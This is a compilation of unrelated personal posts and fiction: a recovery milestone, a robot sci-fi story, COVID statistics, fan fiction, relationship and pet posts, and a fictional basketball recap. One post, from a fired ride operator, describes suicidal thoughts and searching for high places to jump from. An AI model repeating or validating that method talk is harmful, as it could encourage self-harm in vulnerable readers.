I haven't felt this strong in a long time. I feel confident in my recovery. My meds are right. I'm conscious of my mindset. I'm therapizing like nobody's business. But most importantly of all... I am so grateful to the amazing people who have been there every step of the way.
I don't think they'll ever know the impact they've had on my life, how they have been the sole thought in my mind at my darkest and how they have pushed me to become a better person who can truly appreciate every moment with them. They've made me feel excited to live again. They make me disregard my fear of losing them and just allow myself to love them as deeply as I do. They are my family. I will never forget any of them, no matter what happens or how time goes. They are a part of me that I won't ever let go. I feel lucky for the first time in a long while because I have a clear head now. I can see the amazing things they have done for me just purely by being there. They have saved me in person and also on many nights where I felt completely alone. They have made this recovery so impactful and I am so proud to be able to stand here today and say:
I am 100 days clean and I am confident that I will never harm again. Because I have found a strength inside of me that only they could've ignited. I am excited (if a little terrified) of living, past the limit I put for myself.
I now hope to live past 25. I don't predict my death anymore. Because I want to live.
For them, for myself, and for anyone who might read my writing or watch my films one day, telling them that living, while terrifying, is also so fucking worth it when you meet the people that truly get you and have your back and make you laugh even at your worst.
For anyone who ever fears that they're alone... I want to live for them. So that they can see that "better" is possible and that it's not some theme park or tourist destination. It takes a lot of work, but that work becomes esy once you can see what you're fighting for.
Life is worth living, there is a rainbow at the end of the road, and while you might not see it now, your future self is smiling down at you for living another day, so that you can become who you need to be. Who you will be. Who you will love to be.
One more day guys, one more day ❤️

“You’re trying to get me reassigned, is that it?” Eris wrung his metal hands together, the plastic and steel giving off soft screeching which added a tensity not uncommon to him.
“I found something, there was something down there.”
Eris leaned back, “a glove wouldn’t have lasted this long without an entanglement array.”
“It wasn’t a glove–it was something else. There were smaller machines with it.” Gareth tried to find the small imperfection on the jet black table where he had his first meeting, but it was no longer there. This was a different table, from another meeting chamber.
“How many different machinations have we encountered in these old places? It’s probably a def-sec droid wandering until its bearings rot out,” Eris replied, “what I do know is that Trigam Hesst and ten other engineers dropped out of entanglement last night and are said to be in the wind.”
Gareth straightened, “Trigam joined Theron…”
“I wouldn’t dwell on that, Gareth. Nobody could stand the guy, eight months was his longest lead underling. It was a matter of time. And for them to attack you like that? They knew their tickets had been punched.” Eris shook his head.
An alarm chimed and the entrance doors whooshed open, revealing the security attache that seemed to never leave the Triarch’s side. They entered the hall and dispersed, one to each corner and two to the doors.
The Triarch approached the table and gestured for the standing Eris to take his seat, “we find ourselves meeting at another crossroad.”
He sat and folded his ivory and gold hands together, optics focusing on both of them. Gareth glanced at the strange marking on the outer left panel of Triarch’s arm. Three small triangles in line, one after the other. Perhaps a tattoo? He couldn’t tell.
“I’ve been told you’re in good health.” He said to Gareth.
Gareth nodded, “I’ve been through worse.”
“Are we talking about the fall? Or the attack?”
Gareth looked up, “the attack was somewhat of an inconvenience. Eris has informed me Trigam and my crew have all disentangled?”
The Triarch nodded, “it’s true. We’re initiating scatter protocols and shutting down the outgoing array. They’re trapped here, for now. We’ll find them, their crimes carry a heavy debt. You’re being absolved of their glove bonds.”
Eris leaned in, “and of that, we are immensely grateful.”
“Hopefully we can put all of this in the past and move on to the moot with better heads,” The Triarch displayed a small blue digital clock, its holographic hands ticking down the hours until the meeting of the Cube units, to gather and make sure all was going to plan.
“What about the underground site?” Gareth asked.
A silence fell between the three, a feigned moment of reflection.
“The area you fell into is non-viable. Far too many hazards to warrant an excursion.” The Triarch replied.
Gareth tensed, “This hidden sector is remarkably well preserved. There could be invaluable information-”.
Triarch folded his hands together, “it’s simply not an option. With the rogue workers unarrested and you being a prime target, separation from the Cube would increase the risk of harm towards yourself. Harm towards the Ministry.”
“Which is totally understandable-,” Eris added.
Gareth shook his head, “with an excavation team and two security gloves, I could sweep through the complex in less than a week. Data I’ve already recovered leads me to suspect something of relevance lay below.”
“You really don’t understand the word no, do you?” The Triarch scoffed.
Gareth leaned back, “If I’m off Cube, then perhaps Trigam will be motivated to find easier work. It would take much more for them to commandeer the necessary things-”.
Triarch shook his head, “the answer is and will be; no. Now, if there isn’t any other matter to discuss, I’ll be leaving you an itinerary. You’re to follow it for the next seventeen days, until we arrive at the moot.”
The glimmering admin stood and moved to the exit, stopping just before the door, “I suggest you take measures to examine your behavior very closely. This meeting will not happen a third time.”

The exit whooshed close and Eris stood, making his way to the opposite door without a word. 

“You’re not going to support me in this?” Gareth asked, standing and following Eris, catching up to his heel with a small skip.
Eris stopped and raised a finger, but remained silent and turned forward keeping his quick pace.
“I’ve found something to keep me occupied and now suddenly it’s off limits?”
“You know that’s not what this is. You were told to go to your lab and instead, you did the same thing you always do. Not listen to a single word.”
Gareth had to walk quickly to keep up, “ I was on my way, I can’t stop and gather supplies?”
“We both know what you were doing, so don’t give me that. This is on you now, I need a fucking sleep cycle.”
“Eris!” Gareth shouted into the cloud.
The admin stopped and turned to face him, “have you considered maybe it’s time to leave restoration? Take up another discipline, or return to a baser one from your storied past.”
Gareth felt the sting of the separation. He understood that Eris couldn’t afford to continue taking the collateral he had been.
“Fine, I’ll return to my lab and hovel if that’s what you really want. But there’s something in that base.”
Eris had turned and started down the narrow walkway once more, “I don’t care if there’s a nude beach and free vodka down there. Please try to stay safe Gareth, that’s all I will say.”
He watched Eris walk away, fidgeting as he went.
The stress he himself was imparting to those around him made him want to vomit. It created a knot in his stomach, guilt and anxiety beginning to creep their way in like a smooth oil which coated the brain and forced all color and feeling away.
“Rube, have we run anything else on the artifact?” Gareth asked, remembering the strange lead box he recovered from the vault incident.
There was no reply.
“Rube? Command access.”
Still, silence on his end of the cloud.
Gareth turned and brought up the junction logic path, calculating the shortest route back to his laboratory.
“Rube, if you can hear me, initiate lockdown on the lab and my quarters.”
The distance to his personal sector, in the upper quarters of the Cube, was ten solid minutes away and Gareth rushed the entire length, heart racing. Rube never went offline, something was wrong. Images of lab contamination flashed through his mind, whatever in the lead box leaking into the space and destroying everything.
He pulled up the command log, which was empty of any directive towards the box. Just because he hadn’t told Rube to do anything didn’t mean there wasn’t another possible sequence of events.
He hadn’t even scanned the box for leaking radiation.
Panicked, he rushed through the pneumatic doors to his lab and found nothing amiss. Besides the fact that Rube had been force restarted and the lead box was missing from its bay. He had been robbed.
“Eris, I have a problem.” He pushed the message to the admin.
Eris groaned, “for god’s sake, what now?”
“They hit my laboratory, Rube has been shut down and I have an artifact missing.” Gareth replied, sweeping over the rest of his lab. Nothing else seemed to be out of place.
“I’ll send forensics.”
Some time later a team of scanning drones arrived and began looking over every surface in the chamber. They were accompanied by a controller supervisor, who stood in the center and interpreted the data coming from the scans.
“How’s it looking?” Gareth asked him, after a while of silence between the two.
The controller, Mek, shook his head, “there’s almost nothing. A single ping on the local module station. There’s a small nick on the surface of the interface. I’m analyzing it for any foreign contact traces.”
Hmm, it’s unlike Trigam to be this clean, Gareth mused.
“More likely a drone, not exactly sure how it passed all the visual and digital checkpoints though.” The operator finished.
They both stood for a moment transfixed by the irregularity.
“I’ll be in my personal quarters, if anything else comes up.” Gareth said, turning away without a reply and striding out of his lab.
He wanted to drop by the printers and grab an urn if he could. The last one was disrespected and he felt the urge to make it right. The door opened and he was met by a massive wall of security glove, amber glow washing through the corridor.
The security glove, whose name Gareth had forgotten, turned and looked down, “you’re not to leave your sector for the next seventy-two hours.”
Gareth cringed but conceded and backed away without a word. He stood in front of the closing door, rage spilling over.
They lock me down, but I’m the victim, he thought.
Of all the things he had done and seen, he felt like the Triarch was chastising him. Like a boy too naive to realize he’s stuck his hand in a running gearbox. Like he hadn’t spent the last three hundred years serving the Ministry, trying to work off his debt in any manner that was asked of him.
“System restore initialized, rechecking cache parameters.” Rube’s ethereal voice came over the cloud.
“Rube,” Gareth sighed, “what the hell happened?”
The AI was silent for a moment, as it began to recompile the data stream right up until he was deactivated.
“My logs do not have sufficient information to form a solid hypothesis.”
Gareth moved to Rube’s access control module in the lab, making sure to give the forensics drones a wide berth.
“Current system status indicates the remote access protocol junction is still active.” Rube confirmed.
Gareth shook his new optics laden head, “how were they able to retrieve the artifact?”
Rube spent another couple of seconds forming his response, “It is possible a small scatter drone was used to physically remove the sample container.”
“Container?”
“I should make it known that I had already removed the datagram, which is now being analyzed and processed.”
Gareth would smirk if he had a mouth.
He moved to the edge of the control module, peering deep into a running window of metadata and streaming code. It was all storage parameters and audit log interfaces.
Gareth shifted forward, “wait…did you see that?”
The lines of shifting data stopped, “there is an internal link command interface, encrypted.” Rube announced.
Gareth backed away from the running module and turned towards his own quarters, “please route and extract to my terminal.”
His personal quarters were immaculate, no clutter or unnecessary disorganization. In the corner, next to his sleep dock, was his personal terminal, which he plugged into using one of the data access cables peeking from the chest of his frame. He let out a sigh as the data came streaming across the flat crystal display.
Authorized User Access Key:
“Shit,” Gareth whispered, “it's encrypted using a hash table algorithm. Rube, can you run this interface through all of the recorded prism tables we have?”
Rube began the process without a word, silently running the access interface key through an enormous group of hash key repositories, used to decrypt datagems found in the field.
“Estimated time to hash decryption: fourteen hours.”
Gareth sighed once more, “that’s not terrible I suppose.”
Gareth sat down on a rough hewn square of metal, covered in a rubber material meant for grip. His mechanical body had no need for physical rest, but he did so anyway, freeing up some space for his mind to think.
He listened to the soft squeaks of metal on compressed rubber and ruminated on the apocalypse that took place on this wasted sphere. He tried to imagine the fall, tried to picture the end of all things below the skies of Kine, but his imagination remained slumbering. He was too upset at the Triarch to ponder.
Too upset at the imposed curfew.
Rube’s voice interrupted his frustrated stream of thought, “incoming communication from Huew Korrin.”
Gareth sat forward, “Huew, how are things?”
A voice like water running over rough gravel came through the channel, “I heard about what happened, those fucking scumbags. They’ll be welcome additions to Yok, he loves assholes.”
“Yeah,” Gareth shook his head, “they’ve got me locked up now.”
“They put you in a cell!?” Huew asked.
“No, no, they stuck me in my quarters. Seventy-two hours.” Gareth replied.
“You’re the one that got attacked!” Huew roared.
Gareth shrugged with his hands, “for my own protection.”
“Heard that one before,” Huew growled, “you’re lucky they didn’t send you off world.”
Gareth chuckled, “at this point, I probably wouldn’t argue with that.”
“Bullshit, you belong in your lab. It’ll be a lot harder to figure out what happened here without you.”
Gareth huffed, “there are twelve other Cubes, I’m sure they’ll come to a conclusion. My professional expertise is currently under scrutiny.”
“If I got spooked everytime someone scrutinized my work, I’d be in an asylum.” Huew laughed. Huew was a mechanical engineer, everyone in the Cube looked at his work on a daily basis.
Gareth shared the laugh, but at the back of his mind he could feel the chords of his thoughts tighten and stretch taught.
“Listen,” Huew continued, “I don’t know what you think you did to deserve this, but you didn’t. Just put your nose down and you’ll get to the other end soon enough, these suits are jumpy, that’s all.”
“The suits are slowly pushing me out of my job.”
“No, they’ve put you on a two day time out. Don’t act like it’s fuckin’ severance.”
Gareth couldn’t argue, Huew was right. If he couldn’t survive two days by himself then he had much bigger water to tread.
He tried to divert, “how’s your end coming along?”
Huew gave a heavy sigh, “well, there’s so much on the ticket system I can’t read the fuckin’ thing. I’ve got jobs coming out of my goddamn ears and not enough people to plug 'em up. But that’s not unusual for me.”
“Maybe I can help? Get my mind off things.” Gareth suggested.
He could hear Huew shaking his heavy metallic head, “you're too good to be a grease monkey, Gareth. Far too much in that head of yours to be turning wrenches and running lathes.”
“I’ve run a lathe before, I actually quite liked it.” Gareth replied.
“Oh I’ve no doubt you’d be able to do the job and do it well. It’s the other monkeys.” Huew said, allowing silence to hang between the two for a moment.
“Right,” Gareth sighed, “the other monkeys.”

I was a Ride Operator, which means most of the time you do no work, unless you're in a safety critical position. That day I was in it for 30mins, a lost phone is turned into me. Phone rung while I was at the machine that controls the entire ride; I answered and told them we have their phone. My union could not represent me due to me still being in my probationary period (I was 2 months into the 4 months)
 
From someone who only has been a retail cashier his entire 38 years of life, this is devastating to me. I got paid more than minimum wage, got 36+ hours a week, and I was so happy to be there 6 days a week (as a new hire Im only scheduled for 24 hours a week, so I called in every day to either extend or come in so I never got anything below 36)
 
I created voices and characters for myself to be in character for the show. Traded pins with people and talked to them. Played with puppets to entertain kids. That was the majority of my work and I was so happy.
 
In the 60 days I was with Disneyland, I received exactly 38 guest compliments (a metric I was told during my termination). In my 12 years in retail how many did I receive officially? At least one?
 
And now that's all gone because I was an idiot and thought, "oh, it must suck to lose a portable super computer (phone), lemme answer it so they know where it is and can get it back."
 
Now the only thing left for me is retail again because that's the only skill I have. I have no car btw so that greatly limits what jobs I can work
 
Back to being occassinally told by customers, "you deserve a raise!" because of my personality and or knowledge of electronics, but only getting a pittance of 30 cents each year
 
Back to being paid minimum wage even though I have 12 years of retail experience
 
I was really hoping that some random talent scout might see me doing my voices at Disney, and go, "I want that voice for a commercial," but that avenue is gone now
 
I applied to Apple Retail but haven't heard back yet. I go in for a job fair tomorrow at Office Depot
 
I even wanted to kill myself. I Googled up, "best highest sights near me" but every place that was high enough to kill me instantly without pain unfortunately was walled off to prevent idiots like me from doing exactly like that. The only ways left are painful ones that I'm too much of a coward to do
 
I just wanted to be happy, man. That's why I quit Target back in March. I wanted to live up to the potential I knew I had and what other co-workers and customers have been telling me my entire life in retail

(F, 21) I'm currently looking around for resources on autism because I think I might be after taking the autism quotient test and looking back on things I did in my childhood (sensory sensitivies like how I hated pants and laces due to how scratchy they felt and avoiding certain food because of their texture, repeatedly reading the same books over and over again, info-dumping on my parents about the stuff I learned in school or something I was heavily intersted in, etc.)
I also kinda realized that there was this one time I had a visibly autistic classmate (never really confirmed but she seemed to tick all the boxes for the high-functioning type - stimming, zero to minimal eye contact, hyper interest in certain topics, lack of social awareness) and I seemed to dislike her a lot despite getting along with most people in our class. The reason being, I kinda saw myself in her in a way. I think I envied how she was able to just be herself and not seem to be incredibly embarrassed of herself for doing it despite how socially dumb some of her actions were imo (one time, she ran into the classroom and screamed-asked if the teacher was around well before the time our teacher would arrive, approximately 10 minutes). I was someone who constantly looked at every single social interaction I had to the point that looking at my personality retrospectively, it seemed like I was playing a character depending on who I was with at any given time - I never felt like myself until I was completely alone.
I feel really bad about it now since at one point it seemed like she viewed me as a potential friend because I actively listened to her talk about one of her favorite games and some of her other special interests during a group project, but I distanced myself from her becuase I didn't want other people to view me as a weirdo too just because I was talking to her especially due to me being a new student that year and hadn't made many friends in class yet. I could've helped her fit in with our classmates a little better, act like a bridge for her to connect with them. She never deserved to be silently outcast from everyone else. I hope she's doing better now and has found people that accept her for who she is.

NEW COVID CASES STATEWIDE FOR JUNE 7, 2023 Case numbers are from the previous day unless indicated otherwise
Total new cases reported: 196 (was 238 yesterday) 7-day average of new cases: 201.00 (was 210.28 yesterday, -4.42%) Cases per 100,000 Population: 2.340 (was 2.448 yesterday) Figures and Percentages may be slightly rounded as needed
INTERPRETATION: A drop back in cases today, back under 200.
The 7-day case average (and case curve) went down over four percent, taking away half of yesterday's increase. The case average is back to 201 today, just above 200.
As tomorrow is many times the highest case total for the week, we'll have to wait and see what happens.
Hospitals have gotten hard to figure out. VDH is showing 15 patients went in overnight, but the HHS says 9 people with 81 hospitals reporting. The average seems to have gone from about 9 people per day to 12 per day, but this is guesswork. But I can tell it's not a flood of new patients, but things are seeing a small increase of a few extra people per day.
Side Notes Last week, VDH showed no increases of COVID at wastewater sites they monitor.
You can check the latest Weekly Health District Covid Case Data at this link. This generates in a table that is difficult for me to post to the sub.
NOAA has issued a code Orange alert that covers much of the state today. Air quality is expected be unhealthy for sensitive groups. This means individuals with respiratory and/or heart ailments, older adults, and children should reduce prolonged or heavy outdoor exertion.
Local news is thin. Most all local TV stations and newspapers are just reporting national COVID news (if any).
EXPLANATION OF FIGURES ABOVE
Total new cases reported: New COVID cases reported by VDH today.
7-day average of new cases: movement of case curve over the last 7-days
Cases per 100,000 population 7-day average (if known): within 100,000 people, how many were positive for COVID on a rolling 7-day cycle.
CDC Region 3 7-Day Positivity Rate (if included): The last state average percentage of PCR coronavirus tests performed that are positive. The lower the better.
Data from VDH, HHS

Hello everyone. As I have stated in the prologue; at first, it will follow the the same thing as the main series with some minor tweaks, however once the foundation is set, it will diverge into its own story. anyway, if you enjoy it let me know, however if there are some issues, please let me know. I will try to find a way to integrate your ideas into the story. Anyways, without a further ado, enjoy chapter 1.
[Previous]
Memory transcription subject: Governor Tarva of the Venlil Republic
Date [standardized human time]: July 12, 2136
There were two known instances of a predatory species achieving sentience in the galaxy.
The Arxur were the first to be discovered, and, as an anomaly, sparked the Federation’s curiosity. By previous hypotheses on intelligence, their existence was impossible. Conventional wisdom stated that cooperation led to higher thinking, which in turn, led to the formation of technological societies. A predator’s natural instinct for aggression should have limited their evolution.
But it turned out that there was another motivator for technological progress; war. The Arxur derived pleasure from killing each other, and in doing so, managed to claw their way to an industrial stage. Their warfare was so deadly that we feared they would become extinct before we could study them.
The Federation saw their cruelty, but in our naivety, we thought we could change them. If we uplifted them, there would be no logical reason for their destructive ways to persist. Thus, we made our worst mistake: we decided to intervene.
It was out of our kindness that we unleashed the galaxy’s worst monsters. We gave genocidal maniacs the means to escape their planet, and all but invited them to our doorstep. The Federation was an easy target to them, and they set out to claim our territories for themselves. They torched worlds, enslaved millions, and bred our children as delicacies. Our pleas for mercy fell on deaf ears; predators had no sense of compassion to appeal to, after all.
The Federation rallied together to fend them off, and began the ceaseless war for our survival. From that point onward, it was agreed that no predatory species could be allowed to reach the stars. Their kind were too great of a threat to the civilized universe.
Little known to the public, scientists discovered a second predatory sapient centuries ago. Much like the Axur, they have committed atrocities and have broadcasted these horrendous actions.
However, what is unusual, and unusual and unlike the Axur, is that these broadcasts have shown obviously impossible abilities. lifting debris to throw upon others, lightning coming from their paws, and several other actions. After a long debate it was concluded that those terrifying abilities were obviously false in order to spread further terror among themselves.
After a unanimous vote for extermination, and decades of drafting plans to bombarde their planet, we detect multiple nuclear detonations across their planet. Our strategists concluded, with a grim sense of relief, that they had wiped themselves out. The species was forgotten, mentioned only as an asterisk to the Arxur’s unique predator status.
Yet now, my advisors were digging every record of these predators off of the internet. There was a vessel inbound for our world, with a subspace trail pointing back to the planet Earth.
“Governor Tarva.” My military advisor, Kam, was growing more impatient by the minute. It was obvious that he wanted to be cleared for action. “Please, I beg you. We must try to shoot them down.”
“Are you certain we cannot evacuate the planet?” I asked.
Kam sighed. “You know the answer, ma’am. They were within orbital range by the time we detected them. It’s already too late.”
I grimaced. Every FTL relay was broadcasting a planetary distress signal, from the moment we identified the human ship. It was in vain, of course; it would take hours for our Federation allies to reach us. By the time they arrived, our world would be reduced to rubble. At least someone would investigate our death, and hopefully, put the pieces together.
Was there any way to stop the coming onslaught? Was enslavement preferable to death? It was doubtful, but I didn’t see another way to bargain for my race’s survival. There was nothing else to be done.
To put it simply, we couldn’t divert resources to another army of predators. Our people didn’t have the manpower or the spirit. Local forces were depleted from a recent Arxur incursion, which was thwarted by the slimmest of margins. The humans caught us at a time of maximum vulnerability; there was no chance to fight or flee.
As difficult as it was to surrender our home, it was the only option.
“Yes… I know. Send out an emergency alert. Get the civilians to bomb shelters immediately.” I stared at my paws, cursing the day I chose to run for office. “Contact the incoming ship. I—I will personally offer our unconditional surrender.”
“Surrender? Without firing a single shot?!” the advisor growled.
“Perhaps they’ll be kinder than the Arxur. My hope is they’ll spare the children.” The video tapes of our children, lined up in front of the gray reptilians and shot by a mass grave, rolled in my mind. It was their way of taunting us. “At worst, we can buy some time. But if we fight, they’ll kill us all.”
I swiveled my chair away from the advisor, signaling that the discussion was over. An aide propped a camera in front of me, and with a swish of my tail, I showed that I was ready. Fear swelled in my throat as we hailed the vessel on all frequencies. Would these creatures even answer? Predators didn’t talk to prey, except to toy with them. Perhaps they would pick up, just to laugh at our desperation and weakness.
To my surprise, the inbound ship accepted our transmission. A brown-skinned being appeared on screen, sitting in some sort of pilot’s chair. The words of our surrender were almost to my lips when its forward-facing eyes locked with mine. To my horror, it bared its teeth in a vicious snarl. Its sharp, hungry stare halted my thought process, sending my instincts into a primal cascade.
This thing was feral! The hostility was unmistakable in its expression. It uttered a few words in a guttural dialect, which I assumed was an announcement of our impending doom.
The translator tingled by my ear, pressing the meaning into my mind. I took a shaky breath, certain the machine was wrong.
Well I'll be... H-Hello. We come in peace, on behalf of the United Republic of Earth.
I stared at it, lost for words. “Peace? What?”
The translator spit out my question in the guttural language.
The predator closed its maw, tilting its head. “Did that translate wrong? You know, peace? Friendship?”
“Yes…I know what peace means,” I stammered. “Why would you want that?”
“Why would you not?” It seemed almost taken aback. “My people have looked to the stars for a long time and wondered if there was anyone else out there. I’m happy to have an answer, and to know we’re not alone.”
“You speak of peace, but you can’t keep the snarl off your face, predator!” Kam interjected.
“What? I don’t…” it trailed off, as though something occurred to it. “You mean the ‘smile’, don’t you? I am so sorry. I didn’t mean to offend you, really.”
“Smile? What does that word mean?” I asked hesitantly.
“Er, it’s how humans show happiness and good will. Our lips curve up and...” It rubbed its forehead with a soft appendage. “Can we start over? I’m Noah. We’re here on a peaceful exploration at the request, and funding of the Jedi order.”
I was confused, there were no records of a order created by their species, nor their planet. It shouldn't even be possible for predators to have any "order" within their species.
Let alone the fact they have made an 'order,' do they Truley expect us to believe that flashing their teeth is a sign of friendliness? This has to be some sort of game they are playing. Predators don't do peaceful exploration, they hunt, destroy, trample and then burn it for good measure.
Since they haven't already killed us, I'll have to play along, at least long enough until the fleet arrives to save us.
peering into the predatory eyes, and trying to keep my voice calm, I spoke. "I'm governor Tarva. Welcome to Venlil Prime."
"Thanks" the human said. "I must admit, I'm quite surprised to receive your transmission."
"Y-you were? Why did you come here, if you didn't detect us?"
"We were petitioned and funded by the Jedi order to explore this star system. Whenever they request something as big as this, typically it would always be a big discovery. And the discovery of new life is bigger than anything that the jedi has found before this."
"Why would you care about life on other worlds?"
"Um, we were starting to think we were the only instance of life arising. But now, finding a full-fledged, technological civilization; it’s wondrous. One that not only spotted us, but seems to understand what we are too.”
“You keep using the first person, plural. Who is we?”
"Oh, I almost forgot" Noah pitted the camera to the side, revealing another human sitting on the floor with their legs crossed, and their eyes closed. What was terrifying about this human, is that there was some sort of rod in pieces in front of her... Floating in the air...
"This is Sara, the jedi that their order sent on this mission to supervise." And with that the rod connected back together and floated towards the floor. After opening their eyes and standing up, the other human spoke.
"Greetings. I am Jedi master Sara Rosario of the Jedi order. Please do not mind me, Captain Noah often likes to speak enough for both of us."
The captain’s eyebrows shot up. “I do not!”
For a brief moment, watching their playful banter, I saw a kindred intelligence in them. My logical brain kicked in a second later, and the illusion dissolved with a cold certainty. Those predators aren’t searching for life for ‘science’, I chided myself. They’re looking for prey. It’s an interstellar hunting expedition.
This was the humans’ first realization that other intelligent life existed. All these measured words were a way of testing the waters, searching for any signs of weakness. We couldn’t clue them in to the fact that they were different, even their ability to life things. Especially with their ability to lift things... Perhaps if we kept it together, with minimal indications of empathy or fear, they would leave of their own accord.
Despite my misgivings, our best bet might be to treat this like an ordinary first contact situation.
“What would you say to seeing Venlil Prime firsthand? As esteemed guests of the Republic, of course.”
Noah’s eyes sparkled. “It would be an honor.”

Basically the title.
I have taken my bf out on dates, but I feel less inclined to because he rarely does it for me in return. So I guess it's been a while, since I don't want to be the only one putting in that effort. I should preface this by saying, he does buy dinner to make at home often because he works at a grocery store, so he usually grabs something for dinner before he leaves work. And I do appreciate that a lot. But he also constantly asks me to send him money too. Which is fair, I don't have an issue pitching in. It's just, I wish he was more of a "provider" type of guy instead of a "every last thing needs to be split 50/50" type of guy.
I (25F) love going on dates and spending quality time together outside of the house. My partner (25M) on the other hand, rarely wants to go out on dates. And when we do, he always wants to split the bill or have me "pay him back later". Which just makes me feel like we're grabbing a bite or hanging as friends, and not like he actually is taking me out on a date.
Even when I get him to agree to eating out, he literally ALWAYS insists on just getting take-out and refuses to eat out at a restaurant with me like 99% of the time. Even when I heavily insist on wanting to get out of the house and enjoy each others company elsewhere, he moans and groans and complains about it, and counter insists that we don't. I feel like I have to beg him sometimes, which ultimately takes the joy out of doing it at all.
I told him recently that I'd love to go out to eat at this burger joint next to our place and enjoy a cocktail on the patio since it was sunny and beautiful outside. I practically had to beg him to sit down there with me, and once we got there, he insisted sitting indoors. Even though he knew the reason I wanted to go, was to sit outside on the patio and enjoy the nice weather. So yeah, we just sad inside and it kind of bummed me out.
In my past relationships, my past partner's would take me on dates a lot. My ex previous to my current partner took me out several times a week. I know that's a lot to ask for, and I don't expect that of my current partner, but this is a huge change from going on dates all the time, to literally never.
I don't want to sound like some spoiled brat. I just want that effort. I want to feel like there is still romance and excitement, and like he is still courting me. He does other things to make me feel loved, but this is an important form of bonding for me and it just feels completely unsatisfactory. I don't like feeling like I have to beg to go on a date where I will end up paying for myself. It doesn't feel like "dating" at all.
Am I the only one who feels this way or has this experience? I'm not content with this dynamic, but I don't see it changing honestly. I don't want to say this is a deal breaker, but it's bothering more and more as time goes on.
I'd feel so much more inclined to take him out on dates and pay for it in full, if he did it too sometimes. I always imagined my forever partner as more of a provider. He's great in many aspects, but he's lacking in this department and I don't know if it's working for me. I love him and don't want to leave him, but I don't know how to move past this aspect of our relationship because I don't think it's something I can deal with forever, if I'm being completely honest with myself.
Please no judgement, just support and advice. TIA.

The bad news when it comes to conference play is you won't see as many high-profile matchups -- or upsets -- as you did in the latter days of the non-conference slate. The good news? The ones you get are still memorable. One thing to remember is that while a result may have a defined probability of victory -- over the long term, Team A being on average X points better than Team B -- games have wild variance. That's what makes the NIBL great. You never know when someone will put on a display.
*****
#7 Michigan 75, #8 Indiana 48. Safe to say nobody saw this defensive clinic coming out of the 1-3-1 zone that Michigan runs.
With Glen Rice leading the way on offense (17 points), Michigan held Indiana to 27% shooting and forced 15 turnovers as the Wolverines (11-3, 2-0) romped the Hoosiers (11-3, 1-1) in front of an excited home crowd.
"Defense wins championships," Rice said. "We showed we can shut down anyone tonight. Bellamy a big scorer? Not with us around. Zeke [Isiah Thomas] wanted to be the best guard in the league? Where was he tonight? Man, I'm psyched. We just crushed 'em!"
Nothing Indiana tried seemed to work. Passing lanes were cut off, and outside shots didn't fall. Going inside wasn't much better, as George McGinnis had his pocket picked repeatedly. It was so bad bench player Victor Oladipo led the Hoosiers with 8 points.
"It's just one game, but it hurt," Oladipo said.
#12 Ohio State 75, #13 Maryland 60. The start of the Big Ten season may be one that exposes Maryland's weaknesses.
John Havlicek continued to lead the way on offense with 18 points, while Mike Conley and D'Angelo Russell harassed Steve Francis into only 7 points and 7 turnovers as the Buckeyes (11-3, 2-0) knocked off the Terrapins (9-5, 0-2) to put their opponents in a hole in the Big Ten race.
"You never want to take a game in the Big Ten for granted," Havlicek said after the game. "We knew the harder we played, the more chance we had, and it's a long season but we got off on the right foot. Every game matters in the race to the championship."
Maryland went inside at every opportunity. Buck Williams led the team with 16 points, but on the occasions he didn't get the ball, it was usually because of backcourt pressure. Francis was hounded all day, and two of his turnovers occurred before he even got a pass off.
"They played great defense, didn't they," he said.
*****
Missouri 95, #23 Arkansas 89. Missouri has often been known as a more chaotic team, from the Big XII to the SEC. Chaos fell in their favor here.
Amidst a high-octane game, Anthony Peeler had 20 points as Missouri went small to keep up and saw it pay off as the Tigers (10-4, 1-1) upended the Razorbacks (10-4, 1-1) and got back to .500 in the Southeastern Conference in front of a sellout crowd.
"This is the kind of game these fans deserve," head coach Norm Stewart said after the game. "We knew they'd be trying to push the pace, so we mixed up our lineup and let Stip [Steve Stipanovich] go to town on the backups to keep the game close, and the whole thing paid off when Anthony stepped up big time.
Although Peeler led the Tigers in scoring, Stipanovich kept the game within reach when the second teams were in. Not able to keep up with the pace of the starters, Stipanovich held court in a half-court game for the backups, receiving entry passes from Keyon Dooling regularly and finishing around the rim. A three-point play near the end of the half over Andrew Lang gave Missouri a 50-47 lead at the break.
Sidney Moncreif led the Razorbacks with 18 points, and defensive specialist Joe Kleine had 5 blocks.
*****
HOW THE TOP 25 FARED

1. UCLA 96, California 78
2. Kentucky 99, Georgia 64
3. North Carolina 91, Georgia Tech 57
4. Kansas did not play
5. Duke 99, Florida State 56
6. Michigan State 79, Wisconsin 49
7. Michigan 75, 8. Indiana 48
8. Indiana 48, 7. Michigan 75
9. Notre Dame had a bye
10. Arizona 93, Oregon State 60
11. Southern Cal 72, Stanford 64
12. Ohio State 75, 13. Maryland 60
13. Maryland 60, 12. Ohio State 75
14. Syracuse 95, Pittsburgh 79
15. Connecticut 88, Xavier 74
16. Texas did not play
17. Houston did not play
18. DePaul 77, Marquette 69
19. Illinois 96, Rutgers 54
20. LSU 84, South Carolina 67
21. Cincinnati did not play
22. Alabama 80, Florida 51
23. Arkansas 89, Missouri 95
24. N.C. State 58, Virginia 50
25. Auburn 69, Mississippi State 49

Author's note: if a team "did not play", their entire conference had the day off. If a team "had a bye", then their conference had games, but they themselves did not.

Current household:

Just me and my husband. We have a 5yo male corgi named Typo (3rd corgi overall) as well as an 11yo cat and a 1.5yo kitten. The cat was raised by our last corgi, and has raised 2 puppies. The kitten has only ever known our current corgi, but they all get along very well. We are not terribly active, but we are very social and frequently host dinner parties with friends and take our dog (and kitten!) out to pet-friendly cafes and breweries.
Typo is a very laid back corgi, and many have commented that he was "born an old man". He's not a big cuddler, but very affectionate and sweet, and very quiet and well behaved. Honestly he's a very odd corgi - not noisy, and super lazy! He also has a fantastic temperament and gets along with just about everyone and everything.

The situation:

The breeder I got Typo from is getting older and has started scaling back her 50-year breeding program just because she can't keep up with as much as she used to. She currently has a handful of older pups she was planning on holding onto before deciding if she wanted to keep them for breeding, but is now going to find them homes. I went to visit and there are two pups that feel like they would be a good fit for our family - a boy, and a girl.
The boy has a very large frame - seriously, at 1yo he's already bigger than Typo (28lbs), and has room to grow! He has a very gentle personality and the breeder says he's very mellow and doesn't start any fights. He's also a bit of a goofball and has taught himself how to stand on his back legs - it's the first thing he does whenever he runs up to someone for the first time, like he's saying "Hey look at me!"
The girl is quite petite in comparison (~18-20lbs) and is a little shy, but the breeder is really excited about her potentially going home with us because she ran right up to me and jumped in my lap when I came to visit - according to the breeder she's never been "excited" about any humans. Not fearful or overly shy, but more aloof. She was incredibly snuggly with me and even let me hold her on her back.

Deciding!

